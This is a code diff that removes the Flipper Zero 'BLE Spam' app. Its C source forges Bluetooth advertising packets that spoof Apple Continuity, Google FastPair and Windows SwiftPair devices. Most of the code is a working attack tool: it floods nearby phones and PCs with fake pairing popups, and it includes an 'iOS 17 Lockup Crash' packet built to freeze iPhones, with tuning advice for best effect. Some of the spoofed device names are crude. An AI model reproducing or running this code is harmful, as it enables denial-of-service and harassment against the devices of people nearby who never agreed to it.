.title = "iOS 17 Lockup Crash",
|
||||
.text = "Newer iPhones, long range",
|
||||
.payload =
|
||||
{
|
||||
.random_mac = false,
|
||||
.protocol = &ble_spam_protocol_continuity,
|
||||
.msg =
|
||||
{
|
||||
.continuity =
|
||||
{
|
||||
.type = ContinuityTypeCustomCrash,
|
||||
.data = {},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
.title = "Apple Action Modal",
|
||||
.text = "Lock cooldown, long range",
|
||||
.payload =
|
||||
{
|
||||
.random_mac = false,
|
||||
.protocol = &ble_spam_protocol_continuity,
|
||||
.msg =
|
||||
{
|
||||
.continuity =
|
||||
{
|
||||
.type = ContinuityTypeNearbyAction,
|
||||
.data = {},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
.title = "Apple Device Popup",
|
||||
.text = "No cooldown, close range",
|
||||
.payload =
|
||||
{
|
||||
.random_mac = false,
|
||||
.protocol = &ble_spam_protocol_continuity,
|
||||
.msg =
|
||||
{
|
||||
.continuity =
|
||||
{
|
||||
.type = ContinuityTypeProximityPair,
|
||||
.data = {},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
.title = "Android Device Pair",
|
||||
.text = "~15min cooldown, long range",
|
||||
.payload =
|
||||
{
|
||||
.random_mac = true,
|
||||
.protocol = &ble_spam_protocol_fastpair,
|
||||
.msg =
|
||||
{
|
||||
.fastpair = {},
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
.title = "Windows Device Found",
|
||||
.text = "Requires enabling SwiftPair",
|
||||
.payload =
|
||||
{
|
||||
.random_mac = true,
|
||||
.protocol = &ble_spam_protocol_swiftpair,
|
||||
.msg =
|
||||
{
|
||||
.swiftpair = {},
|
||||
},
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
|
||||
|
||||
uint16_t delays[] = {20, 50, 100, 200};
|
||||
|
||||
typedef struct {
|
||||
bool resume;
|
||||
bool advertising;
|
||||
uint8_t delay;
|
||||
FuriThread* thread;
|
||||
int8_t index;
|
||||
} State;
|
||||
|
||||
static int32_t adv_thread(void* ctx) {
|
||||
State* state = ctx;
|
||||
uint8_t size;
|
||||
uint16_t delay;
|
||||
uint8_t* packet;
|
||||
uint8_t mac[GAP_MAC_ADDR_SIZE];
|
||||
Payload* payload = &attacks[state->index].payload;
|
||||
if(!payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
|
||||
|
||||
while(state->advertising) {
|
||||
if(payload->protocol) {
|
||||
payload->protocol->make_packet(&size, &packet, &payload->msg);
|
||||
} else {
|
||||
ble_spam_protocols[rand() % ble_spam_protocols_count]->make_packet(
|
||||
&size, &packet, NULL);
|
||||
}
|
||||
furi_hal_bt_custom_adv_set(packet, size);
|
||||
free(packet);
|
||||
|
||||
if(payload->random_mac) furi_hal_random_fill_buf(mac, sizeof(mac));
|
||||
delay = delays[state->delay];
|
||||
furi_hal_bt_custom_adv_start(delay, delay, 0x00, mac, 0x1F);
|
||||
furi_thread_flags_wait(true, FuriFlagWaitAny, delay);
|
||||
furi_hal_bt_custom_adv_stop();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void toggle_adv(State* state) {
|
||||
if(state->advertising) {
|
||||
state->advertising = false;
|
||||
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
|
||||
furi_thread_join(state->thread);
|
||||
if(state->resume) furi_hal_bt_start_advertising();
|
||||
} else {
|
||||
state->resume = furi_hal_bt_is_active();
|
||||
furi_hal_bt_stop_advertising();
|
||||
state->advertising = true;
|
||||
furi_thread_start(state->thread);
|
||||
}
|
||||
}
|
||||
|
||||
#define PAGE_MIN (-3)
|
||||
#define PAGE_MAX ATTACK_COUNT
|
||||
enum {
|
||||
PageHelpApps = PAGE_MIN,
|
||||
PageHelpDelay,
|
||||
PageHelpDistance,
|
||||
PageStart = 0,
|
||||
PageEnd = ATTACK_COUNT - 1,
|
||||
PageAboutCredits = PAGE_MAX,
|
||||
};
|
||||
|
||||
static void draw_callback(Canvas* canvas, void* ctx) {
|
||||
State* state = ctx;
|
||||
const char* back = "Back";
|
||||
const char* next = "Next";
|
||||
switch(state->index) {
|
||||
case PageStart - 1:
|
||||
next = "Spam";
|
||||
break;
|
||||
case PageStart:
|
||||
back = "Help";
|
||||
break;
|
||||
case PageEnd:
|
||||
next = "About";
|
||||
break;
|
||||
case PageEnd + 1:
|
||||
back = "Spam";
|
||||
break;
|
||||
}
|
||||
|
||||
const Attack* attack =
|
||||
(state->index >= 0 && state->index <= ATTACK_COUNT - 1) ? &attacks[state->index] : NULL;
|
||||
const Payload* payload = &attack->payload;
|
||||
const BleSpamProtocol* protocol = (attack && payload->protocol) ? payload->protocol : NULL;
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble);
|
||||
canvas_draw_str(canvas, 14, 12, "BLE Spam");
|
||||
|
||||
switch(state->index) {
|
||||
case PageHelpApps:
|
||||
canvas_set_font(canvas, FontBatteryPercent);
|
||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
||||
elements_text_box(
|
||||
canvas,
|
||||
4,
|
||||
16,
|
||||
120,
|
||||
48,
|
||||
AlignLeft,
|
||||
AlignTop,
|
||||
"\e#Some Apps\e# interfere\n"
|
||||
"with the attacks, stay on\n"
|
||||
"homescreen for best results",
|
||||
false);
|
||||
break;
|
||||
case PageHelpDelay:
|
||||
canvas_set_font(canvas, FontBatteryPercent);
|
||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
||||
elements_text_box(
|
||||
canvas,
|
||||
4,
|
||||
16,
|
||||
120,
|
||||
48,
|
||||
AlignLeft,
|
||||
AlignTop,
|
||||
"\e#Delay\e# is time between\n"
|
||||
"attack attempts (top right),\n"
|
||||
"keep 20ms for best results",
|
||||
false);
|
||||
break;
|
||||
case PageHelpDistance:
|
||||
canvas_set_font(canvas, FontBatteryPercent);
|
||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
|
||||
elements_text_box(
|
||||
canvas,
|
||||
4,
|
||||
16,
|
||||
120,
|
||||
48,
|
||||
AlignLeft,
|
||||
AlignTop,
|
||||
"\e#Distance\e# is limited, attacks\n"
|
||||
"work under 1 meter but a\n"
|
||||
"few are marked 'long range'",
|
||||
false);
|
||||
break;
|
||||
case PageAboutCredits:
|
||||
canvas_set_font(canvas, FontBatteryPercent);
|
||||
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Credits");
|
||||
elements_text_box(
|
||||
canvas,
|
||||
4,
|
||||
16,
|
||||
122,
|
||||
48,
|
||||
AlignLeft,
|
||||
AlignTop,
|
||||
"App+Spam: \e#WillyJL\e# XFW\n"
|
||||
"Apple+Crash: \e#ECTO-1A\e#\n"
|
||||
"Android+Win: \e#Spooks4576\e#\n"
|
||||
" Version \e#2.0\e#",
|
||||
false);
|
||||
break;
|
||||
default: {
|
||||
if(!attack) break;
|
||||
char str[32];
|
||||
|
||||
canvas_set_font(canvas, FontBatteryPercent);
|
||||
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
|
||||
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
|
||||
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
|
||||
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
|
||||
|
||||
canvas_set_font(canvas, FontBatteryPercent);
|
||||
snprintf(
|
||||
str,
|
||||
sizeof(str),
|
||||
"%02i/%02i: %s",
|
||||
state->index + 1,
|
||||
ATTACK_COUNT,
|
||||
protocol ? protocol->get_name(&payload->msg) : "Everything");
|
||||
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
|
||||
|
||||
canvas_set_font(canvas, FontPrimary);
|
||||
canvas_draw_str(canvas, 4, 32, attack->title);
|
||||
|
||||
canvas_set_font(canvas, FontSecondary);
|
||||
canvas_draw_str(canvas, 4, 46, attack->text);
|
||||
|
||||
elements_button_center(canvas, state->advertising ? "Stop" : "Start");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(state->index > PAGE_MIN) {
|
||||
elements_button_left(canvas, back);
|
||||
}
|
||||
if(state->index < PAGE_MAX) {
|
||||
elements_button_right(canvas, next);
|
||||
}
|
||||
}
|
||||
|
||||
static void input_callback(InputEvent* input, void* ctx) {
|
||||
FuriMessageQueue* input_queue = ctx;
|
||||
if(input->type == InputTypeShort || input->type == InputTypeLong ||
|
||||
input->type == InputTypeRepeat) {
|
||||
furi_message_queue_put(input_queue, input, 0);
|
||||
}
|
||||
}
|
||||
|
||||
int32_t ble_spam(void* p) {
|
||||
UNUSED(p);
|
||||
State* state = malloc(sizeof(State));
|
||||
state->thread = furi_thread_alloc();
|
||||
furi_thread_set_callback(state->thread, adv_thread);
|
||||
furi_thread_set_context(state->thread, state);
|
||||
furi_thread_set_stack_size(state->thread, 4096);
|
||||
|
||||
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
|
||||
ViewPort* view_port = view_port_alloc();
|
||||
Gui* gui = furi_record_open(RECORD_GUI);
|
||||
view_port_input_callback_set(view_port, input_callback, input_queue);
|
||||
view_port_draw_callback_set(view_port, draw_callback, state);
|
||||
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
|
||||
|
||||
bool running = true;
|
||||
while(running) {
|
||||
InputEvent input;
|
||||
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
|
||||
|
||||
bool is_attack = state->index >= 0 && state->index <= ATTACK_COUNT - 1;
|
||||
bool advertising = state->advertising;
|
||||
switch(input.key) {
|
||||
case InputKeyOk:
|
||||
if(is_attack) toggle_adv(state);
|
||||
break;
|
||||
case InputKeyUp:
|
||||
if(is_attack && state->delay < COUNT_OF(delays) - 1) {
|
||||
state->delay++;
|
||||
}
|
||||
break;
|
||||
case InputKeyDown:
|
||||
if(is_attack && state->delay > 0) {
|
||||
state->delay--;
|
||||
}
|
||||
break;
|
||||
case InputKeyLeft:
|
||||
if(state->index > PAGE_MIN) {
|
||||
if(advertising) toggle_adv(state);
|
||||
state->index--;
|
||||
}
|
||||
break;
|
||||
case InputKeyRight:
|
||||
if(state->index < PAGE_MAX) {
|
||||
if(advertising) toggle_adv(state);
|
||||
state->index++;
|
||||
}
|
||||
break;
|
||||
case InputKeyBack:
|
||||
if(advertising) toggle_adv(state);
|
||||
running = false;
|
||||
break;
|
||||
default:
|
||||
continue;
|
||||
}
|
||||
|
||||
view_port_update(view_port);
|
||||
}
|
||||
|
||||
gui_remove_view_port(gui, view_port);
|
||||
furi_record_close(RECORD_GUI);
|
||||
view_port_free(view_port);
|
||||
furi_message_queue_free(input_queue);
|
||||
|
||||
furi_thread_free(state->thread);
|
||||
free(state);
|
||||
return 0;
|
||||
}
|
||||
BIN
applications/external/ble_spam/ble_spam_10px.png
vendored
|
Before Width: | Height: | Size: 4.1 KiB |
BIN
applications/external/ble_spam/icons/android.png
vendored
|
Before Width: | Height: | Size: 5.0 KiB |
BIN
applications/external/ble_spam/icons/apple.png
vendored
|
Before Width: | Height: | Size: 4.2 KiB |
BIN
applications/external/ble_spam/icons/ble.png
vendored
|
Before Width: | Height: | Size: 5.0 KiB |
BIN
applications/external/ble_spam/icons/windows.png
vendored
|
Before Width: | Height: | Size: 4.4 KiB |
17
applications/external/ble_spam/protocols/_base.h
vendored
@@ -1,17 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <assets_icons.h>
|
||||
#include "ble_spam_icons.h"
|
||||
#include <furi_hal_random.h>
|
||||
#include <core/core_defines.h>
|
||||
|
||||
typedef union BleSpamMsg BleSpamMsg;
|
||||
|
||||
typedef struct {
|
||||
const Icon* icon;
|
||||
const char* (*get_name)(const BleSpamMsg* _msg);
|
||||
void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg);
|
||||
} BleSpamProtocol;
|
||||
@@ -1,9 +0,0 @@
|
||||
#include "_registry.h"
|
||||
|
||||
const BleSpamProtocol* ble_spam_protocols[] = {
|
||||
&ble_spam_protocol_continuity,
|
||||
&ble_spam_protocol_fastpair,
|
||||
&ble_spam_protocol_swiftpair,
|
||||
};
|
||||
|
||||
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);
|
||||
@@ -1,15 +0,0 @@
|
||||
#pragma once
|
||||
|
||||
#include "continuity.h"
|
||||
#include "fastpair.h"
|
||||
#include "swiftpair.h"
|
||||
|
||||
union BleSpamMsg {
|
||||
ContinuityMsg continuity;
|
||||
FastpairMsg fastpair;
|
||||
SwiftpairMsg swiftpair;
|
||||
};
|
||||
|
||||
extern const BleSpamProtocol* ble_spam_protocols[];
|
||||
|
||||
extern const size_t ble_spam_protocols_count;
|
||||
@@ -1,276 +0,0 @@
|
||||
#include "continuity.h"
|
||||
#include "_registry.h"
|
||||
|
||||
// Hacked together by @Willy-JL
|
||||
// iOS 17 Crash by @ECTO-1A
|
||||
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
|
||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
||||
|
||||
static const char* type_names[ContinuityTypeCount] = {
|
||||
[ContinuityTypeAirDrop] = "AirDrop",
|
||||
[ContinuityTypeProximityPair] = "Proximity Pair",
|
||||
[ContinuityTypeAirplayTarget] = "Airplay Target",
|
||||
[ContinuityTypeHandoff] = "Handoff",
|
||||
[ContinuityTypeTetheringSource] = "Tethering Source",
|
||||
[ContinuityTypeNearbyAction] = "Nearby Action",
|
||||
[ContinuityTypeNearbyInfo] = "Nearby Info",
|
||||
[ContinuityTypeCustomCrash] = "Custom Packet",
|
||||
};
|
||||
const char* continuity_get_name(const BleSpamMsg* _msg) {
|
||||
const ContinuityMsg* msg = &_msg->continuity;
|
||||
return type_names[msg->type];
|
||||
}
|
||||
|
||||
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
|
||||
static uint8_t packet_sizes[ContinuityTypeCount] = {
|
||||
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
|
||||
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
|
||||
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
|
||||
[ContinuityTypeHandoff] = HEADER_LEN + 14,
|
||||
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
|
||||
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
|
||||
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
|
||||
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
|
||||
};
|
||||
|
||||
void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
||||
const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
|
||||
|
||||
ContinuityType type;
|
||||
if(msg) {
|
||||
type = msg->type;
|
||||
} else {
|
||||
const ContinuityType types[] = {
|
||||
ContinuityTypeProximityPair,
|
||||
ContinuityTypeNearbyAction,
|
||||
ContinuityTypeCustomCrash,
|
||||
};
|
||||
type = types[rand() % COUNT_OF(types)];
|
||||
}
|
||||
|
||||
uint8_t size = packet_sizes[type];
|
||||
uint8_t* packet = malloc(size);
|
||||
uint8_t i = 0;
|
||||
|
||||
packet[i++] = size - 1; // Size
|
||||
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
|
||||
packet[i++] = 0x4C; // Company ID (Apple, Inc.)
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = type; // Continuity Type
|
||||
packet[i] = size - i - 1; // Continuity Size
|
||||
i++;
|
||||
|
||||
switch(type) {
|
||||
case ContinuityTypeAirDrop: {
|
||||
packet[i++] = 0x00; // Zeros
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x00; // ...
|
||||
packet[i++] = 0x01; // Version
|
||||
packet[i++] = (rand() % 256); // AppleID
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // Phone Number
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // Email
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // Email2
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = 0x00; // Zero
|
||||
break;
|
||||
}
|
||||
|
||||
case ContinuityTypeProximityPair: {
|
||||
uint16_t model;
|
||||
if(msg && msg->data.proximity_pair.model != 0x0000) {
|
||||
model = msg->data.proximity_pair.model;
|
||||
} else {
|
||||
const uint16_t models[] = {
|
||||
0x0E20, // AirPods Pro
|
||||
0x0620, // Beats Solo 3
|
||||
0x0A20, // AirPods Max
|
||||
0x1020, // Beats Flex
|
||||
0x0055, // Airtag
|
||||
0x0030, // Hermes Airtag
|
||||
0x0220, // AirPods
|
||||
0x0F20, // AirPods 2nd Gen
|
||||
0x1320, // AirPods 3rd Gen
|
||||
0x1420, // AirPods Pro 2nd Gen
|
||||
0x0320, // Powerbeats 3
|
||||
0x0B20, // Powerbeats Pro
|
||||
0x0C20, // Beats Solo Pro
|
||||
0x1120, // Beats Studio Buds
|
||||
0x0520, // Beats X
|
||||
0x0920, // Beats Studio 3
|
||||
0x1720, // Beats Studio Pro
|
||||
0x1220, // Beats Fit Pro
|
||||
0x1620, // Beats Studio Buds+
|
||||
};
|
||||
model = models[rand() % COUNT_OF(models)];
|
||||
}
|
||||
|
||||
uint8_t prefix;
|
||||
if(msg && msg->data.proximity_pair.prefix == 0x00) {
|
||||
prefix = msg->data.proximity_pair.prefix;
|
||||
} else {
|
||||
if(model == 0x0055 || model == 0x0030)
|
||||
prefix = 0x05;
|
||||
else
|
||||
prefix = 0x01;
|
||||
}
|
||||
|
||||
packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
|
||||
packet[i++] = (model >> 0x08) & 0xFF;
|
||||
packet[i++] = (model >> 0x00) & 0xFF;
|
||||
packet[i++] = 0x55; // Status
|
||||
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
|
||||
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
|
||||
packet[i++] = (rand() % 256); // Lid Open Counter
|
||||
packet[i++] = 0x00; // Device Color
|
||||
packet[i++] = 0x00;
|
||||
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
|
||||
i += 16;
|
||||
break;
|
||||
}
|
||||
|
||||
case ContinuityTypeAirplayTarget: {
|
||||
packet[i++] = (rand() % 256); // Flags
|
||||
packet[i++] = (rand() % 256); // Configuration Seed
|
||||
packet[i++] = (rand() % 256); // IPv4 Address
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
break;
|
||||
}
|
||||
|
||||
case ContinuityTypeHandoff: {
|
||||
packet[i++] = 0x01; // Version
|
||||
packet[i++] = (rand() % 256); // Initialization Vector
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // AES-GCM Auth Tag
|
||||
packet[i++] = (rand() % 256); // Encrypted Payload
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
break;
|
||||
}
|
||||
|
||||
case ContinuityTypeTetheringSource: {
|
||||
packet[i++] = 0x01; // Version
|
||||
packet[i++] = (rand() % 256); // Flags
|
||||
packet[i++] = (rand() % 101); // Battery Life
|
||||
packet[i++] = 0x00; // Cell Service Type
|
||||
packet[i++] = (rand() % 8); // ...
|
||||
packet[i++] = (rand() % 5); // Cell Service Strength
|
||||
break;
|
||||
}
|
||||
|
||||
case ContinuityTypeNearbyAction: {
|
||||
uint8_t action;
|
||||
if(msg && msg->data.nearby_action.type != 0x00) {
|
||||
action = msg->data.nearby_action.type;
|
||||
} else {
|
||||
const uint8_t actions[] = {
|
||||
0x13, // AppleTV AutoFill
|
||||
0x27, // AppleTV Connecting...
|
||||
0x20, // Join This AppleTV?
|
||||
0x19, // AppleTV Audio Sync
|
||||
0x1E, // AppleTV Color Balance
|
||||
0x09, // Setup New iPhone
|
||||
0x02, // Transfer Phone Number
|
||||
0x0B, // HomePod Setup
|
||||
0x01, // Setup New AppleTV
|
||||
0x06, // Pair AppleTV
|
||||
0x0D, // HomeKit AppleTV Setup
|
||||
0x2B, // AppleID for AppleTV?
|
||||
};
|
||||
action = actions[rand() % COUNT_OF(actions)];
|
||||
}
|
||||
|
||||
uint8_t flag;
|
||||
if(msg && msg->data.nearby_action.flags != 0x00) {
|
||||
flag = msg->data.nearby_action.flags;
|
||||
} else {
|
||||
flag = 0xC0;
|
||||
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
||||
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
||||
}
|
||||
|
||||
packet[i++] = flag; // Action Flags
|
||||
packet[i++] = action; // Action Type
|
||||
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
||||
i += 3;
|
||||
break;
|
||||
}
|
||||
|
||||
case ContinuityTypeNearbyInfo: {
|
||||
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
|
||||
packet[i++] = (rand() % 256); // Status Flags
|
||||
packet[i++] = (rand() % 256); // Authentication Tag
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
packet[i++] = (rand() % 256); // ...
|
||||
break;
|
||||
}
|
||||
|
||||
case ContinuityTypeCustomCrash: {
|
||||
// Found by @ECTO-1A
|
||||
|
||||
const uint8_t actions[] = {
|
||||
0x13, // AppleTV AutoFill
|
||||
0x27, // AppleTV Connecting...
|
||||
0x20, // Join This AppleTV?
|
||||
0x19, // AppleTV Audio Sync
|
||||
0x1E, // AppleTV Color Balance
|
||||
0x09, // Setup New iPhone
|
||||
0x02, // Transfer Phone Number
|
||||
0x0B, // HomePod Setup
|
||||
0x01, // Setup New AppleTV
|
||||
0x06, // Pair AppleTV
|
||||
0x0D, // HomeKit AppleTV Setup
|
||||
0x2B, // AppleID for AppleTV?
|
||||
};
|
||||
uint8_t action = actions[rand() % COUNT_OF(actions)];
|
||||
|
||||
uint8_t flag = 0xC0;
|
||||
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
||||
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
||||
|
||||
i -= 2; // Override segment header
|
||||
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
|
||||
packet[i++] = 0x05; // Continuity Size
|
||||
packet[i++] = flag; // Action Flags
|
||||
packet[i++] = action; // Action Type
|
||||
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
||||
i += 3;
|
||||
|
||||
packet[i++] = 0x00; // Terminator (?)
|
||||
packet[i++] = 0x00; // ...
|
||||
|
||||
packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
|
||||
furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
|
||||
i += 3;
|
||||
break;
|
||||
}
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
*out_size = size;
|
||||
*out_packet = packet;
|
||||
}
|
||||
|
||||
const BleSpamProtocol ble_spam_protocol_continuity = {
|
||||
.icon = &I_apple,
|
||||
.get_name = continuity_get_name,
|
||||
.make_packet = continuity_make_packet,
|
||||
};
|
||||
@@ -1,36 +0,0 @@
|
||||
#pragma once
|
||||
#include "_base.h"
|
||||
|
||||
// Hacked together by @Willy-JL
|
||||
// iOS 17 Crash by @ECTO-1A
|
||||
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
|
||||
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
||||
|
||||
typedef enum {
|
||||
ContinuityTypeAirDrop = 0x05,
|
||||
ContinuityTypeProximityPair = 0x07,
|
||||
ContinuityTypeAirplayTarget = 0x09,
|
||||
ContinuityTypeHandoff = 0x0C,
|
||||
ContinuityTypeTetheringSource = 0x0E,
|
||||
ContinuityTypeNearbyAction = 0x0F,
|
||||
ContinuityTypeNearbyInfo = 0x10,
|
||||
|
||||
ContinuityTypeCustomCrash,
|
||||
ContinuityTypeCount
|
||||
} ContinuityType;
|
||||
|
||||
typedef struct {
|
||||
ContinuityType type;
|
||||
union {
|
||||
struct {
|
||||
uint8_t prefix;
|
||||
uint16_t model;
|
||||
} proximity_pair;
|
||||
struct {
|
||||
uint8_t flags;
|
||||
uint8_t type;
|
||||
} nearby_action;
|
||||
} data;
|
||||
} ContinuityMsg;
|
||||
|
||||
extern const BleSpamProtocol ble_spam_protocol_continuity;
|
||||
@@ -1,68 +0,0 @@
|
||||
#include "fastpair.h"
|
||||
#include "_registry.h"
|
||||
|
||||
// Hacked together by @Willy-JL and @Spooks4576
|
||||
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
|
||||
|
||||
const char* fastpair_get_name(const BleSpamMsg* _msg) {
|
||||
const FastpairMsg* msg = &_msg->fastpair;
|
||||
UNUSED(msg);
|
||||
return "FastPair";
|
||||
}
|
||||
|
||||
void fastpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
||||
const FastpairMsg* msg = _msg ? &_msg->fastpair : NULL;
|
||||
|
||||
uint32_t model_id;
|
||||
if(msg && msg->model_id != 0x000000) {
|
||||
model_id = msg->model_id;
|
||||
} else {
|
||||
const uint32_t models[] = {
|
||||
// Genuine devices
|
||||
0xCD8256, // Bose NC 700
|
||||
0xF52494, // JBL Buds Pro
|
||||
0x718FA4, // JBL Live 300TWS
|
||||
0x821F66, // JBL Flip 6
|
||||
0x92BBBD, // Pixel Buds
|
||||
|
||||
// Custom debug popups
|
||||
0xAA1FE1, // ClownMaster
|
||||
0xAA187F, // VBucks
|
||||
0xF38C02, // Boykisser
|
||||
0x1448C9, // BLM
|
||||
0xD5AB33, // Xtreme
|
||||
0x13B39D, // Talking Sasquach
|
||||
};
|
||||
model_id = models[rand() % COUNT_OF(models)];
|
||||
}
|
||||
|
||||
uint8_t size = 14;
|
||||
uint8_t* packet = malloc(size);
|
||||
uint8_t i = 0;
|
||||
|
||||
packet[i++] = 3; // Size
|
||||
packet[i++] = 0x03; // AD Type (Service UUID List)
|
||||
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
|
||||
packet[i++] = 0xFE; // ...
|
||||
|
||||
packet[i++] = 6; // Size
|
||||
packet[i++] = 0x16; // AD Type (Service Data)
|
||||
packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
|
||||
packet[i++] = 0xFE; // ...
|
||||
packet[i++] = (model_id >> 0x10) & 0xFF; // Model ID
|
||||
packet[i++] = (model_id >> 0x08) & 0xFF; // ...
|
||||
packet[i++] = (model_id >> 0x00) & 0xFF; // ...
|
||||
|
||||
packet[i++] = 2; // Size
|
||||
packet[i++] = 0x0A; // AD Type (Tx Power Level)
|
||||
packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
|
||||
|
||||
*out_size = size;
|
||||
*out_packet = packet;
|
||||
}
|
||||
|
||||
const BleSpamProtocol ble_spam_protocol_fastpair = {
|
||||
.icon = &I_android,
|
||||
.get_name = fastpair_get_name,
|
||||
.make_packet = fastpair_make_packet,
|
||||
};
|
||||
@@ -1,11 +0,0 @@
|
||||
#pragma once
|
||||
#include "_base.h"
|
||||
|
||||
// Hacked together by @Willy-JL and @Spooks4576
|
||||
// Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
|
||||
|
||||
typedef struct {
|
||||
uint32_t model_id;
|
||||
} FastpairMsg;
|
||||
|
||||
extern const BleSpamProtocol ble_spam_protocol_fastpair;
|
||||
@@ -1,54 +0,0 @@
|
||||
#include "swiftpair.h"
|
||||
#include "_registry.h"
|
||||
|
||||
// Hacked together by @Willy-JL and @Spooks4576
|
||||
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
||||
|
||||
const char* swiftpair_get_name(const BleSpamMsg* _msg) {
|
||||
const SwiftpairMsg* msg = &_msg->swiftpair;
|
||||
UNUSED(msg);
|
||||
return "SwiftPair";
|
||||
}
|
||||
|
||||
void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
||||
const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
|
||||
|
||||
const char* display_name;
|
||||
if(msg && msg->display_name[0] != '\0') {
|
||||
display_name = msg->display_name;
|
||||
} else {
|
||||
const char* names[] = {
|
||||
"Assquach💦",
|
||||
"Flipper 🐬",
|
||||
"iOS 17 🍎",
|
||||
"Kink💦",
|
||||
"👉👌",
|
||||
"🔵🦷",
|
||||
};
|
||||
display_name = names[rand() % COUNT_OF(names)];
|
||||
}
|
||||
uint8_t display_name_len = strlen(display_name);
|
||||
|
||||
